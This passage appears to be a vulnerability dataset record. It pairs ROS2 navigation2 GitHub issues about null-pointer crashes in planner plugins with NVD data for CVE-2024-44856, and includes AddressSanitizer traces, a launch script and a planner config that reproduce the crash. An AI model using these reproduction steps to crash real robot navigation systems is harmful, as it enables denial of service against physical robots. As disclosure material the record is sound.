(/home/*****/nav2_humble/install/nav2_navfn_planner/lib/libnav2_navfn_planner.so+0xcbd1) (BuildId: b1e5753b18f33b46dab7d58e6194ddc8a97af59a) #3 0x7466dab78cf4 in nav2_planner::PlannerServer::getPlan(geometry_msgs::msg::PoseStamped_<std::allocator<void> > const&, geometry_msgs::msg::PoseStamped_<std::allocator<void> > const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) (/home/*****/nav2_humble/install/nav2_planner/lib/libplanner_server_core.so+0x178cf4) (BuildId: 1b8bf26805500b9cf783c2dd56285836f05b374f) #4 0x7466dab6cfc1 in nav2_planner::PlannerServer::computePlanThroughPoses() (/home/*****/nav2_humble/install/nav2_planner/lib/libplanner_server_core.so+0x16cfc1) (BuildId: 1b8bf26805500b9cf783c2dd56285836f05b374f) #5 0x7466dac70aa3 in nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathThroughPoses>::work() (/home/*****/nav2_humble/install/nav2_planner/lib/libplanner_server_core.so+0x270aa3) (BuildId: 1b8bf26805500b9cf783c2dd56285836f05b374f) #6 0x7466dac70084 in std::__future_base::_Task_setter<std::unique_ptr<std::__future_base::_Result<void>, std::__future_base::_Result_base::_Deleter>, std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathThroughPoses>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::ComputePathThroughPoses> >)::'lambda'()> >, void>::operator()() const (/home/*****/nav2_humble/install/nav2_planner/lib/libplanner_server_core.so+0x270084) (BuildId: 1b8bf26805500b9cf783c2dd56285836f05b374f) #7 0x7466dac6fd97 in std::enable_if<is_invocable_r_v<std::unique_ptr<std::__future_base::_Result_base, std::__future_base::_Result_base::_Deleter>, std::__future_base::_Task_setter<std::unique_ptr<std::__future_base::_Result<void>, std::__future_base::_Result_base::_Deleter>, std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathThroughPoses>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::ComputePathThroughPoses> >)::'lambda'()> >, void>&>, std::unique_ptr<std::__future_base::_Result_base, std::__future_base::_Result_base::_Deleter> >::type std::__invoke_r<std::unique_ptr<std::__future_base::_Result_base, std::__future_base::_Result_base::_Deleter>, std::__future_base::_Task_setter<std::unique_ptr<std::__future_base::_Result<void>, std::__future_base::_Result_base::_Deleter>, std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathThroughPoses>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::ComputePathThroughPoses> >)::'lambda'()> >, void>&>(std::__future_base::_Task_setter<std::unique_ptr<std::__future_base::_Result<void>, std::__future_base::_Result_base::_Deleter>, std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathThroughPoses>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::ComputePathThroughPoses> >)::'lambda'()> >, void>&) (/home/*****/nav2_humble/install/nav2_planner/lib/libplanner_server_core.so+0x26fd97) (BuildId: 1b8bf26805500b9cf783c2dd56285836f05b374f) #8 0x7466dac6fbd8 in std::_Function_handler<std::unique_ptr<std::__future_base::_Result_base, std::__future_base::_Result_base::_Deleter> (), std::__future_base::_Task_setter<std::unique_ptr<std::__future_base::_Result<void>, std::__future_base::_Result_base::_Deleter>, std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathThroughPoses>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::ComputePathThroughPoses> >)::'lambda'()> >, void> >::_M_invoke(std::_Any_data const&) (/home/*****/nav2_humble/install/nav2_planner/lib/libplanner_server_core.so+0x26fbd8) (BuildId: 1b8bf26805500b9cf783c2dd56285836f05b374f) #9 0x7466dac483ef in std::__future_base::_State_baseV2::_M_do_set(std::function<std::unique_ptr<std::__future_base::_Result_base, std::__future_base::_Result_base::_Deleter> ()>*, bool*) (/home/*****/nav2_humble/install/nav2_planner/lib/libplanner_server_core.so+0x2483ef) (BuildId: 1b8bf26805500b9cf783c2dd56285836f05b374f) #10 0x7466d8a99ee7 in __pthread_once_slow nptl/./nptl/pthread_once.c:116:7 #11 0x7466dac6f0e1 in std::__future_base::_Async_state_impl<std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathThroughPoses>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::ComputePathThroughPoses> >)::'lambda'()> >, void>::_M_run() (/home/*****/nav2_humble/install/nav2_planner/lib/libplanner_server_core.so+0x26f0e1) (BuildId: 1b8bf26805500b9cf783c2dd56285836f05b374f) #12 0x7466d8edc252 (/lib/x86_64-linux-gnu/libstdc++.so.6+0xdc252) (BuildId: e37fe1a879783838de78cbc8c80621fa685d58a2) #13 0x7466d8a94ac2 in start_thread nptl/./nptl/pthread_create.c:442:8 #14 0x7466d8b2684f misc/../sysdeps/unix/sysv/linux/x86_64/clone3.S:81 AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV (/home/*****/nav2_humble/install/nav2_costmap_2d/lib/libnav2_costmap_2d_core.so+0xc3cda) (BuildId: ae00021bac019132f382130b42d6275d543c55a4) in nav2_costmap_2d::Costmap2D::setCost(unsigned int, unsigned int, unsigned char) Thread T34 created by T16 here: #0 0x5d5cd0ef987c in __interceptor_pthread_create (/home/*****/nav2_humble/install/nav2_planner/lib/nav2_planner/planner_server+0x9387c) (BuildId: 191f253724b34c41ec9522f9202cc91f782cabef) #1 0x7466d8edc328 in std::thread::_M_start_thread(std::unique_ptr<std::thread::_State, std::default_delete<std::thread::_State> >, void (*)()) (/lib/x86_64-linux-gnu/libstdc++.so.6+0xdc328) (BuildId: e37fe1a879783838de78cbc8c80621fa685d58a2) #2 0x7466dac6ea42 in std::__future_base::_Async_state_impl<std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathThroughPoses>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::ComputePathThroughPoses> >)::'lambda'()> >, void>::_Async_state_impl<nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathThroughPoses>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::ComputePathThroughPoses> >)::'lambda'()>(nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathThroughPoses>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::ComputePathThroughPoses> >)::'lambda'()&&) (/home/*****/nav2_humble/install/nav2_planner/lib/libplanner_server_core.so+0x26ea42) (BuildId: 1b8bf26805500b9cf783c2dd56285836f05b374f) #3 0x7466dac6e1e8 in std::__shared_count<(__gnu_cxx::_Lock_policy)2>::__shared_count<std::__future_base::_Async_state_impl<std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathThroughPoses>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::ComputePathThroughPoses> >)::'lambda'()> >, void>, std::allocator<void>, nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathThroughPoses>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::ComputePathThroughPoses> >)::'lambda'()>(std::__future_base::_Async_state_impl<std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathThroughPoses>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::ComputePathThroughPoses> >)::'lambda'()> >, void>*&, std::_Sp_alloc_shared_tag<std::allocator<void> >, nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathThroughPoses>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::ComputePathThroughPoses> >)::'lambda'()&&) (/home/*****/nav2_humble/install/nav2_planner/lib/libplanner_server_core.so+0x26e1e8) (BuildId: 1b8bf26805500b9cf783c2dd56285836f05b374f) #4 0x7466dac6cd03 in std::future<std::__invoke_result<std::decay<nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathThroughPoses>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::ComputePathThroughPoses> >)::'lambda'()>::type>::type> std::async<nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathThroughPoses>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::ComputePathThroughPoses> >)::'lambda'()>(std::launch, nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathThroughPoses>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::ComputePathThroughPoses> >)::'lambda'()&&) (/home/*****/nav2_humble/install/nav2_planner/lib/libplanner_server_core.so+0x26cd03) (BuildId: 1b8bf26805500b9cf783c2dd56285836f05b374f) #5 0x7466dac56419 in nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathThroughPoses>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::ComputePathThroughPoses> >) (/home/*****/nav2_humble/install/nav2_planner/lib/libplanner_server_core.so+0x256419) (BuildId: 1b8bf26805500b9cf783c2dd56285836f05b374f) #6 0x7466dac74c97 in void std::__invoke_impl<void, void (nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathThroughPoses>::*&)(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::ComputePathThroughPoses> >), nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathThroughPoses>*&, std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::ComputePathThroughPoses> > >(std::__invoke_memfun_deref, void (nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathThroughPoses>::*&)(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::ComputePathThroughPoses> >), nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathThroughPoses>*&, std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::ComputePathThroughPoses> >&&) (/home/*****/nav2_humble/install/nav2_planner/lib/libplanner_server_core.so+0x274c97) (BuildId: 1b8bf26805500b9cf783c2dd56285836f05b374f) #7 0x7466dac5d836 in rclcpp_action::Server<nav2_msgs::action::ComputePathThroughPoses>::call_goal_accepted_callback(std::shared_ptr<rcl_action_goal_handle_s>, std::array<unsigned char, 16ul>, std::shared_ptr<void>) (/home/*****/nav2_humble/install/nav2_planner/lib/libplanner_server_core.so+0x25d836) (BuildId: 1b8bf26805500b9cf783c2dd56285836f05b374f) #8 0x7466da28e246 in rclcpp_action::ServerBase::execute_goal_request_received(std::shared_ptr<void>&) (/opt/ros/humble/lib/librclcpp_action.so+0x13246) (BuildId: 4dfcc4cee7010878193255b3a622d5194654caa8) Thread T16 created by T0 here: #0 0x5d5cd0ef987c in __interceptor_pthread_create (/home/*****/nav2_humble/install/nav2_planner/lib/nav2_planner/planner_server+0x9387c) (BuildId: 191f253724b34c41ec9522f9202cc91f782cabef) #1 0x7466d8edc328 in std::thread::_M_start_thread(std::unique_ptr<std::thread::_State, std::default_delete<std::thread::_State> >, void (*)()) (/lib/x86_64-linux-gnu/libstdc++.so.6+0xdc328) (BuildId: e37fe1a879783838de78cbc8c80621fa685d58a2) #2 0x7466dac52034 in nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathThroughPoses>::SimpleActionServer(std::shared_ptr<rclcpp::node_interfaces::NodeBaseInterface>, std::shared_ptr<rclcpp::node_interfaces::NodeClockInterface>, std::shared_ptr<rclcpp::node_interfaces::NodeLoggingInterface>, std::shared_ptr<rclcpp::node_interfaces::NodeWaitablesInterface>, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, std::function<void ()>, std::function<void ()>, std::chrono::duration<long, std::ratio<1l, 1000l> >, bool, rcl_action_server_options_s const&) (/home/*****/nav2_humble/install/nav2_planner/lib/libplanner_server_core.so+0x252034) (BuildId: 1b8bf26805500b9cf783c2dd56285836f05b374f) #3 0x7466dac4fd35 in nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathThroughPoses>::SimpleActionServer<std::shared_ptr<nav2_util::LifecycleNode> >(std::shared_ptr<nav2_util::LifecycleNode>, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, std::function<void ()>, std::function<void ()>, std::chrono::duration<long, std::ratio<1l, 1000l> >, bool, rcl_action_server_options_s const&) (/home/*****/nav2_humble/install/nav2_planner/lib/libplanner_server_core.so+0x24fd35) (BuildId: 1b8bf26805500b9cf783c2dd56285836f05b374f) #4 0x7466dab6b9b8 in std::__detail::_MakeUniq<nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathThroughPoses> >::__single_object std::make_unique<nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathThroughPoses>, std::shared_ptr<nav2_util::LifecycleNode>, char const (&) [27], std::_Bind<void (nav2_planner::PlannerServer::* (nav2_planner::PlannerServer*))()>, std::nullptr_t, std::chrono::duration<long, std::ratio<1l, 1000l> >, bool>(std::shared_ptr<nav2_util::LifecycleNode>&&, char const (&) [27], std::_Bind<void (nav2_planner::PlannerServer::* (nav2_planner::PlannerServer*))()>&&, std::nullptr_t&&, std::chrono::duration<long, std::ratio<1l, 1000l> >&&, bool&&) (/home/*****/nav2_humble/install/nav2_planner/lib/libplanner_server_core.so+0x16b9b8) (BuildId: 1b8bf26805500b9cf783c2dd56285836f05b374f) #5 0x7466dab641ac in nav2_planner::PlannerServer::on_configure(rclcpp_lifecycle::State const&) (/home/*****/nav2_humble/install/nav2_planner/lib/libplanner_server_core.so+0x1641ac) (BuildId: 1b8bf26805500b9cf783c2dd56285836f05b374f) #6 0x7466da08b8ec (/opt/ros/humble/lib/librclcpp_lifecycle.so+0x288ec) (BuildId: 97f6428dc1ee45fd402b522b3b8e6b4fcfeabe76) ==1073701==ABORTING ``` #### Additional information  ---- ##### It's a shutdown-issue First, based on my execution logs, I can confirm this is a shutdown issue. ##### It's additional tickets related to #4463, which behaviors in `nav2_planner` Below is an analysis of the cause of this bug: The `action_server_` binds the `nav2_planner::PlannerServer::computePlan()` function as a callback function, and using the nav2_navfn_planner->makePlan()` , which may access the early shutdown `costmap_ros_`: https://github.com/ros-navigation/navigation2/blob/9fbae3e66ecc3b7315ca7cbb070468a564f5e111/nav2_navfn_planner/src/navfn_planner.cpp#L242-L245 ##### This issue would be fixed in humble by PR #4463 ##### This issue would be fixed in Iron by my later PR

NullPointer Accessed during `makePlan` calculation of nav2_navfn_planner

https://api.github.com/repos/ros-navigation/navigation2/issues/4466/comments

1

2024-06-24T12:54:09Z

2024-06-24T12:55:32Z

https://github.com/ros-navigation/navigation2/issues/4466

2,370,183,275

4,466

6,460

CVE-2024-44856

2024-12-06T22:15:21.753

Open Robotics Robotic Operating System 2 ROS2 navigation2 v.humble was discovered to contain a NULL pointer dereference via the component nav2_smac_planner().

{ "cvssMetricV2": null, "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 7.5, "baseSeverity": "HIGH", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "version": "3.1" }, "exploitabilityScore": 3.9, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary" }, { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 7.5, "baseSeverity": "HIGH", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "version": "3.1" }, "exploitabilityScore": 3.9, "impactScore": 3.6, "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary" } ], "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Third Party Advisory" ], "url": "https://github.com/GoesM/ROS-CVE-CNVDs" }, { "source": "cve@mitre.org", "tags": [ "Exploit", "Issue Tracking" ], "url": "https://github.com/ros-navigation/navigation2/issues/4468" }, { "source": "cve@mitre.org", "tags": [ "Third Party Advisory" ], "url": "https://github.com/ros-navigation/navigation2/pull/4463" }, { "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": [ "Exploit", "Issue Tracking" ], "url": "https://github.com/ros-navigation/navigation2/issues/4468" } ]

[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:openrobotics:robot_operating_system:2:humble:*:*:*:*:*:*", "matchCriteriaId": "0ADE698F-A518-4691-A7FA-2DEE8C079361", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true }, { "criteria": "cpe:2.3:a:openrobotics:robot_operating_system:2:iron:*:*:*:*:*:*", "matchCriteriaId": "D710838C-3A7E-4BFA-BD6D-02C38627BB7E", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]

[ "476" ]

476

https://github.com/ros-navigation/navigation2/issues/4468

[ "Exploit", "Issue Tracking" ]

github.com

[ "ros-navigation", "navigation2" ]

## Bug report **Required Info:** - Operating System: -  ubuntu 22.04 - ROS2 Version: -  humble OR Iron - Version or commit hash: -  the latest - DDS implementation: -  the defaulted #### Steps to reproduce issue  Launch the navigation2 as following steps: ```sh #!/bin/bash export ASAN_OPTIONS=halt_on_error=0:new_delete_type_mismatch=0:detect_leaks=0:log_pah=asan source install/setup.bash export TURTLEBOT3_MODEL=waffle export GAZEBO_MODEL_PATH=$GAZEBO_MODEL_PATH:/opt/ros/humble/share/turtlebot3_gazebo/models ros2 launch nav2_bringup tb3_simulation_launch.py headless:=True use_rviz:=False use_composition:=False ``` using `smac_planner` as plugin within following configuration: ```yaml planner_server: ros__parameters: GridBased: allow_reverse_expansion: false allow_unknown: true analytic_expansion_max_cost: 200.0 analytic_expansion_max_cost_override: false analytic_expansion_max_length: 3.0 analytic_expansion_ratio: 3.5 cache_obstacle_heuristic: false change_penalty: 0.05 cost_penalty: 2.0 lattice_filepath: /*****/sample_primitives/5cm_resolution/1m_turning_radius/diff/output.json lookup_table_size: 20.0 max_iterations: 1000000 max_on_approach_iterations: 1000 max_planning_time: 5.0 non_straight_penalty: 1.05 plugin: nav2_smac_planner/SmacPlannerLattice retrospective_penalty: 0.015 reverse_penalty: 2.0 rotation_penalty: 5.0 smooth_path: true smoother: do_refinement: true max_iterations: 1000 refinement_num: 2 tolerance: 1.0e-10 w_data: 0.2 w_smooth: 0.3 tolerance: 0.25 expected_planner_frequency: 20.0 planner_plugins: - GridBased use_sim_time: true ``` #### Expected behavior no bug occured. #### Actual behavior the Asan report of this bug is as following: ``` ================================================================= ==1121394==ERROR: AddressSanitizer: SEGV on unknown address 0x0000000000d8 (pc 0x7da5d89a626b bp 0x61300003f540 sp 0x7da5cf1e5c80 T34) ==1121394==The signal is caused by a READ memory access. ==1121394==Hint: address points to the zero page. #0 0x7da5d89a626b in nav2_smac_planner::findCircumscribedCost(std::shared_ptr<nav2_costmap_2d::Costmap2DROS>) (/home/*****/nav2_humble/install/nav2_smac_planner/lib/libnav2_smac_planner_lattice.so+0x4226b) (BuildId: ef827f19cc7664c3943561e2a6a07083767758f4) #1 0x7da5d89a0b0b in nav2_smac_planner::SmacPlannerLattice::createPlan(geometry_msgs::msg::PoseStamped_<std::allocator<void> > const&, geometry_msgs::msg::PoseStamped_<std::allocator<void> > const&) (/home/*****/nav2_humble/install/nav2_smac_planner/lib/libnav2_smac_planner_lattice.so+0x3cb0b) (BuildId: ef827f19cc7664c3943561e2a6a07083767758f4) #2 0x7da5dfb78cf4 in nav2_planner::PlannerServer::getPlan(geometry_msgs::msg::PoseStamped_<std::allocator<void> > const&, geometry_msgs::msg::PoseStamped_<std::allocator<void> > const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) (/home/*****/nav2_humble/install/nav2_planner/lib/libplanner_server_core.so+0x178cf4) (BuildId: 1b8bf26805500b9cf783c2dd56285836f05b374f) #3 0x7da5dfb6a10d in nav2_planner::PlannerServer::computePlan() (/home/*****/nav2_humble/install/nav2_planner/lib/libplanner_server_core.so+0x16a10d) (BuildId: 1b8bf26805500b9cf783c2dd56285836f05b374f) #4 0x7da5dfc49963 in nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathToPose>::work() (/home/*****/nav2_humble/install/nav2_planner/lib/libplanner_server_core.so+0x249963) (BuildId: 1b8bf26805500b9cf783c2dd56285836f05b374f) #5 0x7da5dfc48cd4 in std::__future_base::_Task_setter<std::unique_ptr<std::__future_base::_Result<void>, std::__future_base::_Result_base::_Deleter>, std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathToPose>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::ComputePathToPose> >)::'lambda'()> >, void>::operator()() const (/home/*****/nav2_humble/install/nav2_planner/lib/libplanner_server_core.so+0x248cd4) (BuildId: 1b8bf26805500b9cf783c2dd56285836f05b374f) #6 0x7da5dfc489e7 in std::enable_if<is_invocable_r_v<std::unique_ptr<std::__future_base::_Result_base, std::__future_base::_Result_base::_Deleter>, std::__future_base::_Task_setter<std::unique_ptr<std::__future_base::_Result<void>, std::__future_base::_Result_base::_Deleter>, std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathToPose>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::ComputePathToPose> >)::'lambda'()> >, void>&>, std::unique_ptr<std::__future_base::_Result_base, std::__future_base::_Result_base::_Deleter> >::type std::__invoke_r<std::unique_ptr<std::__future_base::_Result_base, std::__future_base::_Result_base::_Deleter>, std::__future_base::_Task_setter<std::unique_ptr<std::__future_base::_Result<void>, std::__future_base::_Result_base::_Deleter>, std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathToPose>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::ComputePathToPose> >)::'lambda'()> >, void>&>(std::__future_base::_Task_setter<std::unique_ptr<std::__future_base::_Result<void>, std::__future_base::_Result_base::_Deleter>, std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathToPose>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::ComputePathToPose> >)::'lambda'()> >, void>&) (/home/*****/nav2_humble/install/nav2_planner/lib/libplanner_server_core.so+0x2489e7) (BuildId: 1b8bf26805500b9cf783c2dd56285836f05b374f) #7 0x7da5dfc48828 in std::_Function_handler<std::unique_ptr<std::__future_base::_Result_base, std::__future_base::_Result_base::_Deleter> (), std::__future_base::_Task_setter<std::unique_ptr<std::__future_base::_Result<void>, std::__future_base::_Result_base::_Deleter>, std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathToPose>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::ComputePathToPose> >)::'lambda'()> >, void> >::_M_invoke(std::_Any_data const&) (/home/*****/nav2_humble/install/nav2_planner/lib/libplanner_server_core.so+0x248828) (BuildId: 1b8bf26805500b9cf783c2dd56285836f05b374f) #8 0x7da5dfc483ef in std::__future_base::_State_baseV2::_M_do_set(std::function<std::unique_ptr<std::__future_base::_Result_base, std::__future_base::_Result_base::_Deleter> ()>*, bool*) (/home/*****/nav2_humble/install/nav2_planner/lib/libplanner_server_core.so+0x2483ef) (BuildId: 1b8bf26805500b9cf783c2dd56285836f05b374f) #9 0x7da5dd899ee7 in __pthread_once_slow nptl/./nptl/pthread_once.c:116:7 #10 0x7da5dfc463f1 in std::__future_base::_Async_state_impl<std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathToPose>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::ComputePathToPose> >)::'lambda'()> >, void>::_M_run() (/home/*****/nav2_humble/install/nav2_planner/lib/libplanner_server_core.so+0x2463f1) (BuildId: 1b8bf26805500b9cf783c2dd56285836f05b374f) #11 0x7da5ddcdc252 (/lib/x86_64-linux-gnu/libstdc++.so.6+0xdc252) (BuildId: e37fe1a879783838de78cbc8c80621fa685d58a2) #12 0x7da5dd894ac2 in start_thread nptl/./nptl/pthread_create.c:442:8 #13 0x7da5dd92684f misc/../sysdeps/unix/sysv/linux/x86_64/clone3.S:81 AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV (/home/*****/nav2_humble/install/nav2_smac_planner/lib/libnav2_smac_planner_lattice.so+0x4226b) (BuildId: ef827f19cc7664c3943561e2a6a07083767758f4) in nav2_smac_planner::findCircumscribedCost(std::shared_ptr<nav2_costmap_2d::Costmap2DROS>) Thread T34 created by T15 here: #0 0x572ec3c5e87c in __interceptor_pthread_create (/home/*****/nav2_humble/install/nav2_planner/lib/nav2_planner/planner_server+0x9387c) (BuildId: 191f253724b34c41ec9522f9202cc91f782cabef) #1 0x7da5ddcdc328 in std::thread::_M_start_thread(std::unique_ptr<std::thread::_State, std::default_delete<std::thread::_State> >, void (*)()) (/lib/x86_64-linux-gnu/libstdc++.so.6+0xdc328) (BuildId: e37fe1a879783838de78cbc8c80621fa685d58a2) #2 0x7da5dfc45d52 in std::__future_base::_Async_state_impl<std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathToPose>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::ComputePathToPose> >)::'lambda'()> >, void>::_Async_state_impl<nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathToPose>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::ComputePathToPose> >)::'lambda'()>(nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathToPose>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::ComputePathToPose> >)::'lambda'()&&) (/home/*****/nav2_humble/install/nav2_planner/lib/libplanner_server_core.so+0x245d52) (BuildId: 1b8bf26805500b9cf783c2dd56285836f05b374f) #3 0x7da5dfc454f8 in std::__shared_count<(__gnu_cxx::_Lock_policy)2>::__shared_count<std::__future_base::_Async_state_impl<std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathToPose>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::ComputePathToPose> >)::'lambda'()> >, void>, std::allocator<void>, nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathToPose>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::ComputePathToPose> >)::'lambda'()>(std::__future_base::_Async_state_impl<std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathToPose>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::ComputePathToPose> >)::'lambda'()> >, void>*&, std::_Sp_alloc_shared_tag<std::allocator<void> >, nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathToPose>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::ComputePathToPose> >)::'lambda'()&&) (/home/*****/nav2_humble/install/nav2_planner/lib/libplanner_server_core.so+0x2454f8) (BuildId: 1b8bf26805500b9cf783c2dd56285836f05b374f) #4 0x7da5dfc436a3 in std::future<std::__invoke_result<std::decay<nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathToPose>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::ComputePathToPose> >)::'lambda'()>::type>::type> std::async<nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathToPose>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::ComputePathToPose> >)::'lambda'()>(std::launch, nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathToPose>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::ComputePathToPose> >)::'lambda'()&&) (/home/*****/nav2_humble/install/nav2_planner/lib/libplanner_server_core.so+0x2436a3) (BuildId: 1b8bf26805500b9cf783c2dd56285836f05b374f) #5 0x7da5dfc2c3e9 in nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathToPose>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::ComputePathToPose> >) (/home/*****/nav2_humble/install/nav2_planner/lib/libplanner_server_core.so+0x22c3e9) (BuildId: 1b8bf26805500b9cf783c2dd56285836f05b374f) #6 0x7da5dfc4e9f7 in void std::__invoke_impl<void, void (nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathToPose>::*&)(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::ComputePathToPose> >), nav2_util::SimpleActionServer<nav2_msgs::action::ComputePathToPose>*&, std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::ComputePathToPose> > >(std::__invoke_memfun_deref, void 